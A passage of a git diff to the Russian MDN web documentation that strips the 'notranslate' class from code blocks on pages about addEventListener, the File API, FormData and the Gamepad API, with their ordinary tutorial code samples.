id="t1">один</td></tr> <tr><td id="t2">два</td></tr> </table> @@ -127,7 +127,7 @@ try { <h4 id="JavaScript_Содержимое">JavaScript Содержимое</h4> -<pre class="brush: js notranslate">// Функция изменяет содержимое t2 +<pre class="brush: js">// Функция изменяет содержимое t2 function modifyText() { var t2 = document.getElementById("t2"); if (t2.firstChild.nodeValue == "три") { @@ -154,14 +154,14 @@ el.addEventListener("click", modifyText, false); <h4 id="HTML_Содержимое_2">HTML Содержимое</h4> -<pre class="brush: html notranslate"><table id="outside"> +<pre class="brush: html"><table id="outside"> <tr><td id="t1">один</td></tr> <tr><td id="t2">два</td></tr> </table></pre> <h4 id="JavaScript_Содержимое_2">JavaScript Содержимое</h4> -<pre class="brush: js notranslate">// Функция, изменяющая содержание t2 +<pre class="brush: js">// Функция, изменяющая содержание t2 function modifyText(new_text) { var t2 = document.getElementById("t2"); t2.firstChild.nodeValue = new_text; @@ -182,14 +182,14 @@ el.addEventListener("click", function(){modifyText("четыре")}, false); <h4 id="HTML">HTML</h4> -<pre class="brush: html notranslate"><table id="outside"> +<pre class="brush: html"><table id="outside"> <tr><td id="t1">one</td></tr> <tr><td id="t2">two</td></tr> </table></pre> <h4 id="JavaScript">JavaScript</h4> -<pre class="brush: js notranslate">// Function to change the content of t2 +<pre class="brush: js">// Function to change the content of t2 function modifyText(new_text) { var t2 = document.getElementById("t2"); t2.firstChild.nodeValue = new_text; @@ -233,7 +233,7 @@ el.addEventListener("click", () => { modifyText("four"); }, false);</pre> <p>В примере выше значение переменной <code>this</code> внутри <code>modifyText()</code> при вызове событием клика равно таблице 't'. Это противоположно поведению, которое возникает, если обработчик добавлен в HTML-разметке:</p> -<pre class="brush: html notranslate"><table id="t" onclick="modifyText();"> +<pre class="brush: html"><table id="t" onclick="modifyText();"> . . . </pre> @@ -243,7 +243,7 @@ el.addEventListener("click", () => { modifyText("four"); }, false);</pre> <p>Пример с использованием <code>bind</code> и без него:</p> -<pre class="brush: js notranslate">var Something = function(element) { +<pre class="brush: js">var Something = function(element) { this.name = 'Something Good'; this.onclick1 = function(event) { console.log(this.name); // undefined, так как this является элементом @@ -258,7 +258,7 @@ el.addEventListener("click", () => { modifyText("four"); }, false);</pre> <p>Проблема в примере выше заключается в том, что вы не можете удалить обработчик, вызванный с <code>bind</code>. Другое решение использует специальную функцию <code>handleEvent</code>, чтобы перехватывать любые события:</p> -<pre class="brush: js notranslate">var Something = function(element) { +<pre class="brush: js">var Something = function(element) { this.name = 'Something Good'; this.handleEvent = function(event) { console.log(this.name); // 'Something Good', так как this является объектом Something @@ -286,7 +286,7 @@ el.addEventListener("click", () => { modifyText("four"); }, false);</pre> <p>В Internet Explorer младше 9 версии, вы можете использовать <code><a href="http://msdn.microsoft.com/en-us/library/ms536343(VS.85).aspx">attachEvent</a></code> вместо стандартного <code>addEventListener</code>. Для поддержки IE, пример выше может быть модифицирован следующим образом:</p> -<pre class="brush: js notranslate">if (el.addEventListener) { +<pre class="brush: js">if (el.addEventListener) { el.addEventListener('click', modifyText, false); } else if (el.attachEvent) { el.attachEvent('onclick', modifyText); @@ -303,7 +303,7 @@ el.addEventListener("click", () => { modifyText("four"); }, false);</pre> <p><strong>Note: </strong>useCapture не поддерживается, так как IE 8 не имеет альтернативного метода для этого. Также заметьте, что следующий код только добавляет поддержку IE 8. Также, он работает только при соблюдении стандартов: объявление DOCTYPE страницы обязательно.</p> </div> -<pre class="brush: js notranslate">(function() { +<pre class="brush: js">(function() { if (!Event.prototype.preventDefault) { Event.prototype.preventDefault=function() { this.returnValue=false; @@ -380,7 +380,7 @@ el.addEventListener("click", () => { modifyText("four"); }, false);</pre> <p><code>addEventListener()</code> был добавлен в спецификации DOM 2 <a href="http://www.w3.org/TR/DOM-Level-2-Events">Events</a>. До этого обработчики добавлялись следующим образом:</p> -<pre class="brush: js notranslate">// Передача ссылки на функцию — не добавляйте '()' после него, это вызовет функцию! +<pre class="brush: js">// Передача ссылки на функцию — не добавляйте '()' после него, это вызовет функцию! el.onclick = modifyText; // Использование функционального выражения @@ -395,7 +395,7 @@ element.onclick = function() { <h3 id="Memory_issues">Вопросы памяти</h3> -<pre class="brush: js notranslate">var i; +<pre class="brush: js">var i; var els = document.getElementsByTagName('*'); // Случай 1 @@ -420,7 +420,7 @@ for(i=0 ; i<els.length ; i++){ <p>Значение по умолчанию для параметра <code>passive</code> - <code>false</code>. Начиная с Chrome 56 (desktop, Chrome for Android, Android webview) значение по умолчанию для {{event("touchstart")}} и {{event("touchmove")}} равно <code>true</code>, а вызовы <code>preventDefault()</code> не разрешены. Чтобы отменить это поведение, необходимо установить параметр <code>passive</code> в <code>false</code> (см. пример ниже). Это изменение не позволяет обработчику блокировать показ страницы во время прокрутки пользователя. Демонстрация доступна на <a href="https://developers.google.com/web/updates/2016/06/passive-event-listeners">сайте разработчиков Google</a>. Обратите внимание, что Edge вообще не поддерживает <code>options</code>, и добавление его без <a href="https://developer.mozilla.org/ru/docs/Web/API/EventTarget/addEventListener$edit#Safely_detecting_option_support">проверки поддержки</a> помешает использовать аргумент <code>useCapture</code>.</p> -<pre class="brush: js notranslate">/* Feature detection */ +<pre class="brush: js">/* Feature detection */ var passiveSupported = false; try { window.addEventListener( diff --git a/files/ru/web/api/extendableevent/index.html b/files/ru/web/api/extendableevent/index.html index f7305b2f4f..4e41c3d38a 100644 --- a/files/ru/web/api/extendableevent/index.html +++ b/files/ru/web/api/extendableevent/index.html @@ -65,7 +65,7 @@ translation_of: Web/API/ExtendableEvent <p><strong>Note</strong>: In Chrome, logging statements are visible via the "Inspect" interface for the relevant service worker accessed via chrome://serviceworker-internals.</p> </div> -<pre class="brush: js notranslate">var CACHE_VERSION = 1; +<pre class="brush: js">var CACHE_VERSION = 1; var CURRENT_CACHES = { prefetch: 'prefetch-cache-v' + CACHE_VERSION }; diff --git a/files/ru/web/api/extendableevent/waituntil/index.html b/files/ru/web/api/extendableevent/waituntil/index.html index 7adc465c72..66225a232d 100644 --- a/files/ru/web/api/extendableevent/waituntil/index.html +++ b/files/ru/web/api/extendableevent/waituntil/index.html @@ -19,7 +19,7 @@ translation_of: Web/API/ExtendableEvent/waitUntil <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>extendableEvent</em>.waitUntil(<em>promise</em>);</pre> +<pre class="syntaxbox"><em>extendableEvent</em>.waitUntil(<em>promise</em>);</pre> <h3 id="Параметры">Параметры</h3> @@ -33,7 +33,7 @@ translation_of: Web/API/ExtendableEvent/waitUntil <p>Использование <code>waitUntil()</code> внутри события <code>install</code> в service worker:</p> -<pre class="brush: js;highlight:[10] notranslate">addEventListener('install', event => { +<pre class="brush: js;highlight:[10]">addEventListener('install', event => { const preCache = async () => { const cache = await caches.open('static-v1'); return cache.addAll([ diff --git a/files/ru/web/api/file/using_files_from_web_applications/index.html b/files/ru/web/api/file/using_files_from_web_applications/index.html index 4535edc2e2..855bd8817a 100644 --- a/files/ru/web/api/file/using_files_from_web_applications/index.html +++ b/files/ru/web/api/file/using_files_from_web_applications/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/File/Using_files_from_web_applications <p>Рассмотрим следующий код:</p> -<pre class="brush: html notranslate"><input type="file" id="input" multiple></pre> +<pre class="brush: html"><input type="file" id="input" multiple></pre> <p>File API делает возможным доступ к {{ domxref("FileList") }}, который содержит объекты {{ domxref("File") }}, которым соответствуют файлы, выбранные пользователем.</p> @@ -19,11 +19,11 @@ translation_of: Web/API/File/Using_files_from_web_applications <p>Обращение к одному выбранному файлу с использованием классической DOM-модели:</p> -<pre class="brush: js notranslate">const selectedFile = document.getElementById('input').files[0];</pre> +<pre class="brush: js">const selectedFile = document.getElementById('input').files[0];</pre> <p>Обращение к одному выбранному файлу через <a href="http://jquery.com/">jQuery</a>:</p> -<pre class="brush: js notranslate">var selectedFile = $('#input').get(0).files[0]; +<pre class="brush: js">var selectedFile = $('#input').get(0).files[0]; var selectedFile = $('#input')[0].files[0];</pre> @@ -35,7 +35,7 @@ var selectedFile = $('#input')[0].files[0];</pre> <p>Также возможно (но не обязательно) получить доступ к {{DOMxRef("FileList")}} через событие <code>change</code>. Нужно использовать {{DOMxRef("EventTarget.addEventListener()")}} чтобы добавить обработчик события <code>change</code>, как показано здесь:</p> -<pre class="brush: js notranslate">const inputElement = document.getElementById("input"); +<pre class="brush: js">const inputElement = document.getElementById("input"); inputElement.addEventListener("change", handleFiles, false); function handleFiles() { const fileList = this.files; /* now you can work with the file list */ @@ -43,7 +43,7 @@ function handleFiles() { <p>Обработчик события <code>change</code> можно назначить атрибутом элемента:</p> -<pre class="brush: html notranslate"><input type="file" id="input" onchange="handleFiles(this.files)"></pre> +<pre class="brush: html"><input type="file" id="input" onchange="handleFiles(this.files)"></pre> <p>Когда пользователь выбирает файл, функция <span style="font-family: consolas,monaco,andale mono,monospace;">handleFiles() будет вызвана с объектом </span>{{ domxref("FileList") }}, который состоит из объектов {{ domxref("File") }}, представляющих файлы, выбранные пользователем.</p> @@ -51,11 +51,11 @@ function handleFiles() { <p>Объект {{ domxref("FileList") }} предоставляемый классическим DOM содержит все файлы выбранные пользователем, каждый из которых представляет собой объект {{ domxref("File") }}. Вы можете определить сколько файлов выбрал пользователь проверяя значение атрибута длины (<code>length</code>) списка файлов:</p> -<pre class="brush: js notranslate"><code>var numFiles = files.length;</code></pre> +<pre class="brush: js"><code>var numFiles = files.length;</code></pre> <p>Конкретные объекты {{ domxref("File") }} могут быть получены обращением к списку файлов как к массиву:</p> -<pre class="brush: js notranslate">for (var i = 0, numFiles = files.length; i < numFiles; i++) { +<pre class="brush: js">for (var i = 0, numFiles = files.length; i < numFiles; i++) { var file = files[i]; .. } @@ -78,7 +78,7 @@ function handleFiles() { <p>Следующий пример показывает возможное использование свойства <code>size</code>:</p> -<pre class="brush: html notranslate"><!DOCTYPE html> +<pre class="brush: html"><!DOCTYPE html> <html> <head> <meta charset="UTF-8"> @@ -118,12 +118,12 @@ function updateSize() { <p>Рассмотрим следующую разметку HTML:</p> -<pre class="brush: html notranslate"><code><input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"> +<pre class="brush: html"><code><input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"> <a href="#" id="fileSelect">Select some files</a></code></pre> <p>Код, обрабатывающий событие click, может выглядеть следующим образом:</p> -<pre class="brush: js notranslate">var fileSelect = document.getElementById("fileSelect"), +<pre class="brush: js">var fileSelect = document.getElementById("fileSelect"), fileElem = document.getElementById("fileElem"); fileSelect.addEventListener("click", function (e) { @@ -142,7 +142,7 @@ fileSelect.addEventListener("click", function (e) { <p>Рассмотрим следующую разметку HTML:</p> -<pre class="brush: html notranslate"><code><input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"> +<pre class="brush: html"><code><input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"> <label for="fileElem">Select some files</label></code></pre> <p>В данном случае нет необходимости добавлять код JavaScript для того, чтобы вызвать <code>fileElem.click()</code>. Также в данном случае вы можете стилизовать элемент label так, как пожелаете.</p> @@ -153,7 +153,7 @@ fileSelect.addEventListener("click", function (e) { <p>На первом шаге необходимо определить зону, в которую будут перетаскиваться файлы. В каждом конкретном случае часть содержимого вашей страницы, ответственная за приёмку перетаскиваемых файлов, может варьироваться в зависимости от дизайна приложения, тем не менее, заставить элемент воспринимать события перетаскивания достаточно просто:</p> -<pre class="brush: js notranslate">var dropbox; +<pre class="brush: js">var dropbox; dropbox = document.getElementById("dropbox"); dropbox.addEventListener("dragenter", dragenter, false); @@ -165,7 +165,7 @@ dropbox.addEventListener("drop", drop, false); <p>В нашем случае нет необходимости делать что-то особенное при обработке событий <code>dragenter</code> и <code>dragover</code>, таким образом, обе функции, ответственные за обработку данных событий, довольно просты. Они останавливают распространение события и предотвращают возникновение действия по умолчанию:</p> -<pre class="brush: js notranslate">function dragenter(e) { +<pre class="brush: js">function dragenter(e) { e.stopPropagation(); e.preventDefault(); } @@ -178,7 +178,7 @@ function dragover(e) { <p>Вся настоящая магия происходит в функции <code>drop()</code>:</p> -<pre class="brush: js notranslate">function drop(e) { +<pre class="brush: js">function drop(e) { e.stopPropagation(); e.preventDefault(); @@ -195,7 +195,7 @@ function dragover(e) { <p>Представим, что вы разрабатываете очередной веб-сайт для обмена фотографиями и вы хотите использовать возможности HTML5 для предварительного просмотра изображений перед тем, как пользователь загрузит их. Вы можете создать <code>input</code> элемент или зону перетаскивания, как обсуждалось ранее, и вызвать такую функцию, как <code>handleFiles()</code> ниже.</p> -<pre class="brush: js notranslate">function handleFiles(files) { +<pre class="brush: js">function handleFiles(files) { for (var i = 0; i < files.length; i++) { var file = files[i]; @@ -225,11 +225,11 @@ function dragover(e) { <p>Когда у вас есть объект {{ domxref("File") }}, на который вы хотите ссылаться по URL из HTML, вы можете создать для этого объект URL, такой как этот:</p> -<pre class="brush: js notranslate"><code>var objectURL = window.URL.createObjectURL(fileObj);</code></pre> +<pre class="brush: js"><code>var objectURL = window.URL.createObjectURL(fileObj);</code></pre> <p>URL объекта <span lang="EN-US" style='font-family: "Calibri",sans-serif; font-size: 11.0pt; line-height: 107%;'>–</span> это строка, идентифицирующая объект файла {{ domxref("File") }}. Каждый раз при вызове {{ domxref("window.URL.createObjectURL()") }}, создаётся новый уникальный объект URL, даже если вы уже создали объект URL для этого файла. Каждый из них должен быть освобождён. В то время как они освобождаются автоматически когда документ выгружается, если ваша страница использует их динамически, вы должны освободить их явно вызовом {{ domxref("window.URL.revokeObjectURL()") }}:</p> -<pre class="brush: js notranslate"><code>window.URL.revokeObjectURL(objectURL);</code></pre> +<pre class="brush: js"><code>window.URL.revokeObjectURL(objectURL);</code></pre> <h2 id="Пример_Использование_URL_объектов_для_отображения_изображений">Пример: Использование URL объектов для отображения изображений</h2> @@ -237,7 +237,7 @@ function dragover(e) { <p>HTML, который представляет интерфейс, выглядит так:</p> -<pre class="brush: html notranslate"><input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"> +<pre class="brush: html"><input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"> <a href="#" id="fileSelect">Select some files</a> <div id="fileList"> <p>No files selected!</p> @@ -248,7 +248,7 @@ function dragover(e) { <p>Метод <code>handleFiles()</code> может быть реализован таким образом:</p> -<pre class="brush: js notranslate">window.URL = window.URL || window.webkitURL; +<pre class="brush: js">window.URL = window.URL || window.webkitURL; var fileSelect = document.getElementById("fileSelect"), fileElem = document.getElementById("fileElem"), @@ -312,7 +312,7 @@ function handleFiles(files) { <p>Продолжая пример с кодом, который строил эскизы в предыдущем примере, напомним, что каждому изображению эскиза присвоен класс CSS class <code>obj</code>, с соответствующим {{ domxref("File") }}, прикреплённым в атрибут <code>file</code>. Это позволяет нам очень просто выбрать все изображения, которые пользователь выбрал для загрузки используя {{ domxref("Document.querySelectorAll()") }}, как показано здесь:</p> -<pre class="brush: js notranslate">function sendFiles() { +<pre class="brush: js">function sendFiles() { var imgs = document.querySelectorAll(".obj"); for (var i = 0; i < imgs.length; i++) { @@ -327,7 +327,7 @@ function handleFiles(files) { <p>Функция <code>FileUpload</code> принимает на вход 2 параметра: элемент изображения и файл, из которого нужно читать данные изображения.</p> -<pre class="brush: js notranslate">function FileUpload(img, file) { +<pre class="brush: js">function FileUpload(img, file) { const reader = new FileReader(); this.ctrl = createThrobber(img); const xhr = new XMLHttpRequest(); @@ -369,7 +369,7 @@ function handleFiles(files) { <h3 id="Асинхронная_обработка_процесса_загрузки">Асинхронная обработка процесса загрузки</h3> -<pre class="brush: js notranslate"><?php +<pre class="brush: js"><?php if (isset($_FILES['myFile'])) { // Example: move_uploaded_file($_FILES['myFile']['tmp_name'], "uploads/" . $_FILES['myFile']['name']); @@ -431,12 +431,12 @@ if (isset($_FILES['myFile'])) { <p>В Firefox, для того чтобы файл PDF появился в iframe и не предлагался для загрузки, нужно установить <code>pdfjs.disabled</code> в значение <code>false</code> {{non-standard_inline()}}.</p> -<pre class="brush: html notranslate"><iframe id="viewer"> +<pre class="brush: html"><iframe id="viewer"> </pre> <p>А здесь изменение атрибута <code>src</code>:</p> -<pre class="brush: js notranslate">var obj_url = window.URL.createObjectURL(blob); +<pre class="brush: js">var obj_url = window.URL.createObjectURL(blob); var iframe = document.getElementById('viewer'); iframe.setAttribute('src', obj_url); window.URL.revokeObjectURL(obj_url);</pre> @@ -445,7 +445,7 @@ window.URL.revokeObjectURL(obj_url);</pre> <p>Вы можете таким же образом работать с файлами в других форматах. Ниже приведён пример как загружается видео:</p> -<pre class="brush: js notranslate">var video = document.getElementById('video'); +<pre class="brush: js">var video = document.getElementById('video'); var obj_url = window.URL.createObjectURL(blob); video.src = obj_url; video.play() diff --git a/files/ru/web/api/filereader/index.html b/files/ru/web/api/filereader/index.html index c84599323b..d9ece3dab0 100644 --- a/files/ru/web/api/filereader/index.html +++ b/files/ru/web/api/filereader/index.html @@ -25,7 +25,7 @@ translation_of: Web/API/FileReader <h2 id="Конструктор">Конструктор</h2> -<pre class="syntaxbox notranslate">FileReader FileReader();</pre> +<pre class="syntaxbox">FileReader FileReader();</pre> <p>Более детально, с примерами см. <a href="/ru/Using_files_from_web_applications" title="ru/Using files from web applications">использование файлов в веб-приложениях</a>.</p> diff --git a/files/ru/web/api/formdata/entries/index.html b/files/ru/web/api/formdata/entries/index.html index d77ddfb800..df0501ee8c 100644 --- a/files/ru/web/api/formdata/entries/index.html +++ b/files/ru/web/api/formdata/entries/index.html @@ -20,7 +20,7 @@ translation_of: Web/API/FormData/entries <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">formData.entries();</pre> +<pre class="syntaxbox">formData.entries();</pre> <h3 id="Возвращаемые_значения">Возвращаемые значения</h3> @@ -28,7 +28,7 @@ translation_of: Web/API/FormData/entries <h2 id="Пример">Пример</h2> -<pre class="brush: js;highlight:[7] notranslate">// Create a test FormData object +<pre class="brush: js;highlight:[7]">// Create a test FormData object var formData = new FormData(); formData.append('key1', 'value1'); formData.append('key2', 'value2'); @@ -41,7 +41,7 @@ for(var pair of formData.entries()) { <p>Результат:</p> -<pre class="notranslate">key1, value1 +<pre>key1, value1 key2, value2</pre> <h2 id="Спецификация">Спецификация</h2> diff --git a/files/ru/web/api/formdata/getall/index.html b/files/ru/web/api/formdata/getall/index.html index 747e25d5b4..4247417aca 100644 --- a/files/ru/web/api/formdata/getall/index.html +++ b/files/ru/web/api/formdata/getall/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/FormData/getAll <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush: js notranslate">formData.getAll(name);</pre> +<pre class="brush: js">formData.getAll(name);</pre> <h3 id="append_Parameters">Параметры</h3> @@ -30,16 +30,16 @@ translation_of: Web/API/FormData/getAll <p>Эта строка создаст пустой объект FormData:</p> -<pre class="brush: js notranslate">var formData = new FormData();</pre> +<pre class="brush: js">var formData = new FormData();</pre> <p>Можем добавить два <code>username</code> при помощи {{domxref("FormData.append")}}:</p> -<pre class="brush: js notranslate">formData.append('username', 'Борис'); +<pre class="brush: js">formData.append('username', 'Борис'); formData.append('username', 'Кирилл');</pre> <p>Тогда метод <code>getAll()</code> вернёт оба значения <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">username</span></font> в виде массива:</p> -<pre class="brush: js notranslate">formData.getAll('username'); // Вернёт ["Борис", "Кирилл"]</pre> +<pre class="brush: js">formData.getAll('username'); // Вернёт ["Борис", "Кирилл"]</pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/gamepad/axes/index.html b/files/ru/web/api/gamepad/axes/index.html index eb16be54c3..b4ed1fa5ba 100644 --- a/files/ru/web/api/gamepad/axes/index.html +++ b/files/ru/web/api/gamepad/axes/index.html @@ -11,11 +11,11 @@ translation_of: Web/API/Gamepad/axes <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><span class="idlInterface" id="idl-def-Gamepad"><span class="idlAttribute">readonly attribute <span class="idlAttrType">double[]</span> <span class="idlAttrName">axes</span>;</span></span></pre> +<pre class="syntaxbox"><span class="idlInterface" id="idl-def-Gamepad"><span class="idlAttribute">readonly attribute <span class="idlAttrType">double[]</span> <span class="idlAttrName">axes</span>;</span></span></pre> <h2 id="Пример">Пример</h2> -<pre class="brush: js notranslate">function gameLoop() { +<pre class="brush: js">function gameLoop() { if(navigator.webkitGetGamepads) { var gp = navigator.webkitGetGamepads()[0]; } else { diff --git a/files/ru/web/api/gamepad/buttons/index.html b/files/ru/web/api/gamepad/buttons/index.html index 3c49e81c56..ded4be8d3c 100644 --- a/files/ru/web/api/gamepad/buttons/index.html +++ b/files/ru/web/api/gamepad/buttons/index.html @@ -18,13 +18,13 @@ translation_of: Web/API/Gamepad/buttons <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">readonly attribute GamepadButton[] buttons;</pre> +<pre class="syntaxbox">readonly attribute GamepadButton[] buttons;</pre> <h2 id="Пример">Пример</h2> <p>Приведённый код взят из моего<em> (автора статьи)</em> демо Gamepad API button (вы можете <a href="http://chrisdavidmills.github.io/gamepad-buttons/" rel="noopener">Посмотреть демо</a>, и <a href="https://github.com/chrisdavidmills/gamepad-buttons/tree/master" rel="noopener">посмотреть исходники на GitHub</a>). Важно — в Chrome <a href="https://developer.mozilla.org/ru/docs/Web/API/Navigator/getGamepads"><code>Navigator.getGamepads</code></a> необходимо установить префикс <code>webkit</code>, и значения кнопки будут представлять из себя массив дробных чисел, тогда как в Firefox <a href="https://developer.mozilla.org/ru/docs/Web/API/Navigator/getGamepads"><code>Navigator.getGamepads</code></a> нет необходимости устанавливать префикс, и значения будут представлять собой массив объектов <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton"><code>GamepadButton</code></a>; Свойство <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton/value" rel="nofollow"><code>GamepadButton.value</code></a> или <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton/pressed" rel="nofollow"><code>GamepadButton.pressed</code></a> необходимо для получения состояния кнопки, в зависимости от от типа кнопки. В данном простом примере обрабатывается оба вида кнопок.</p> -<pre class="brush: js notranslate">function gameLoop() { +<pre class="brush: js">function gameLoop() { if(navigator.webkitGetGamepads) { var gp = navigator.webkitGetGamepads()[0]; diff --git a/files/ru/web/api/gamepad/mapping/index.html b/files/ru/web/api/gamepad/mapping/index.html index e52f1c454f..4c1cf9847f 100644 --- a/files/ru/web/api/gamepad/mapping/index.html +++ b/files/ru/web/api/gamepad/mapping/index.html @@ -11,11 +11,11 @@ translation_of: Web/API/Gamepad/mapping <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><span class="idlInterface" id="idl-def-Gamepad"><span class="idlAttribute">readonly attribute <span class="idlAttrType">DOMString</span> <span class="idlAttrName">mapping</span>;</span></span></pre> +<pre class="syntaxbox"><span class="idlInterface" id="idl-def-Gamepad"><span class="idlAttribute">readonly attribute <span class="idlAttrType">DOMString</span> <span class="idlAttrName">mapping</span>;</span></span></pre> <h2 id="Пример">Пример</h2> -<pre class="brush: js notranslate">var gp = navigator.getGamepads()[0]; +<pre class="brush: js">var gp = navigator.getGamepads()[0]; console.log(gp.mapping);</pre> <h2 id="Значение">Значение</h2> diff --git a/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html b/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html index b1f461ee50..1c38250b72 100644 --- a/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html +++ b/files/ru/web/api/gamepad_api/using_the_gamepad_api/index.html @@ -19,7 +19,7 @@ translation_of: Web/API/Gamepad_API/Using_the_Gamepad_API <p>Вы можете использовать {{domxref("Window/gamepadconnected_event", "gamepadconnected")}} как в примере:</p> -<pre class="brush: js; notranslate">window.addEventListener("gamepadconnected", function(e) { +<pre class="brush: js;">window.addEventListener("gamepadconnected", function(e) { console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.", e.gamepad.index, e.gamepad.id, e.gamepad.buttons.length, e.gamepad.axes.length); @@ -32,14 +32,14 @@ translation_of: Web/API/Gamepad_API/Using_the_Gamepad_API <p>When a gamepad is disconnected, and if a page has previously received data for that gamepad (e.g. {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }}), a second event is dispatched to the focused window, {{ event("gamepaddisconnected") }}:</p> -<pre class="brush: js notranslate">window.addEventListener("gamepaddisconnected", function(e) { +<pre class="brush: js">window.addEventListener("gamepaddisconnected", function(e) { console.log("Gamepad disconnected from index %d: %s", e.gamepad.index, e.gamepad.id); });</pre> <p>The gamepad's {{domxref("Gamepad.index", "index")}} property will be unique per-device connected to the system, even if multiple controllers of the same type are used. The <code>index</code> property also functions as the index into the {{jsxref("Array")}} returned by {{ domxref("Navigator.getGamepads()") }}.</p> -<pre class="brush: js notranslate">var gamepads = {}; +<pre class="brush: js">var gamepads = {}; function gamepadHandler(event, connecting) { var gamepad = event.gamepad; @@ -67,7 +67,7 @@ window.addEventListener("gamepaddisconnected", function(e) { gamepadHandler(e, f <p>The {{domxref("Navigator.getGamepads()")}} method returns an array of all devices currently visible to the webpage, as {{ domxref("Gamepad") }} objects (the first value is always <code>null</code>, so <code>null</code> will be returned if there are no gamepads connected.) This can then be used to get the same information. For example, the first code example above you be rewritten as shown below:</p> -<pre class="brush: js notranslate">window.addEventListener("gamepadconnected", function(e) { +<pre class="brush: js">window.addEventListener("gamepadconnected", function(e) { var gp = navigator.getGamepads()[e.gamepad.index]; console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.", gp.index, gp.id, @@ -101,7 +101,7 @@ window.addEventListener("gamepaddisconnected", function(e) { gamepadHandler(e, f <p>To start with, we declare some variables: The <code>gamepadInfo</code> paragraph that the connection info is written into, the <code>ball</code> that we want to move, the <code>start</code> variable that acts as the ID for <code>requestAnimation Frame</code>, the <code>a</code> and <code>b</code> variables that act as position modifiers for moving the ball, and the shorthand variables that will be used for the {{ domxref("Window.requestAnimationFrame", "requestAnimationFrame()") }} and {{ domxref("Window.cancelAnimationFrame", "cancelAnimationFrame()") }} cross browser forks.</p> -<pre class="brush: js notranslate">var gamepadInfo = document.getElementById("gamepad-info"); +<pre class="brush: js">var gamepadInfo = document.getElementById("gamepad-info"); var ball = document.getElementById("ball"); var start; var a = 0; @@ -110,7 +110,7 @@ var b = 0; <p>Next we use the {{domxref("Window/gamepadconnected_event", "gamepadconnected")}} event to check for a gamepad being connected. When one is connected, we grab the gamepad using {{ domxref("Navigator.getGamepads()") }}<code>[0]</code>, print information about the gamepad into our gamepad info <code>div</code>, and fire the <code>gameLoop()</code> function that starts the whole ball movement process up.</p> -<pre class="brush: js notranslate">window.addEventListener("gamepadconnected", function(e) { +<pre class="brush: js">window.addEventListener("gamepadconnected", function(e) { var gp = navigator.getGamepads()[e.gamepad.index]; gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id + ". It has " + gp.buttons.length + " buttons and " + gp.axes.length + " axes."; @@ -119,7 +119,7 @@ var b = 0; <p>Now we use the {{domxref("Window/gamepaddisconnected_event", "gamepaddisconnected")}} event to check if the gamepad is disconnected again. If so, we stop the {{DOMxRef("Window.requestAnimationFrame", "requestAnimationFrame()")}} loop (see below) and revert the gamepad information back to what it was originally.</p> -<pre class="brush: js notranslate">window.addEventListener("gamepaddisconnected", function(e) { +<pre class="brush: js">window.addEventListener("gamepaddisconnected", function(e) { gamepadInfo.innerHTML = "Waiting for gamepad."; cancelRequestAnimationFrame(start); @@ -127,7 +127,7 @@ var b = 0; <p>Chrome does things differently here. Instead of constantly storing the gamepad's latest state in a variable it only stores a snapshot, so to do the same thing in Chrome you have to keep polling it and then only use the {{ domxref("Gamepad") }} object in code when it is available. We have done this below using {{ domxref("Window.setInterval()") }}; once the object is available the gamepad info is outputted, the game loop is started, and the interval is cleared using {{ domxref("Window.clearInterval()") }}. Note that in older versions of Chrome {{ domxref("Navigator.getGamepads()") }} is implemented with a <code>webkit</code> prefix. We attempt to detect and handle both the prefixed version and the standard version of the function for backwards compatibility.</p> -<pre class="brush: js notranslate">var interval; +<pre class="brush: js">var interval; if (!('ongamepadconnected' in window)) { // No gamepad events available, poll instead. @@ -151,7 +151,7 @@ function pollGamepads() { <p>After all this is done, we use our <code>requestAnimationFrame()</code> to request the next animation frame, running <code>gameLoop()</code> again.</p> -<pre class="brush: js notranslate">function buttonPressed(b) { +<pre class="brush: js">function buttonPressed(b) { if (typeof(b) == "object") { return b.pressed; } @@ -186,7 +186,7 @@ function gameLoop() { <p>This example shows how to use the {{ domxref("Gamepad") }} object, as well as the {{ domxref("Window/gamepadconnected_event", "gamepadconnected") }} and {{domxref("Window/gamepaddisconnected_event", "gamepaddisconnected")}} events in order to display the state of all gamepads connected to the system. You can find a <a href="http://luser.github.io/gamepadtest/">working demo</a> and look at the <a href="https://github.com/luser/gamepadtest">full source code</a> on Github.</p> -<pre class="brush: js notranslate">var haveEvents = 'ongamepadconnected' in window; +<pre class="brush: js">var haveEvents = 'ongamepadconnected' in window; var controllers = {}; function connecthandler(e) { diff --git a/files/ru/web/api/gamepadbutton/index.html b/files/ru/web/api/gamepadbutton/index.html index e29c99949d..9dc284725e 100644 --- a/files/ru/web/api/gamepadbutton/index.html +++ b/files/ru/web/api/gamepadbutton/index.html @@ -26,7 +26,7 @@ translation_of: Web/API/GamepadButton <p>Приведённый код взят из моего<em> (автора статьи)</em> демо Gamepad API button (вы можете <a href="http://chrisdavidmills.github.io/gamepad-buttons/">Посмотреть демо</a>, и <a 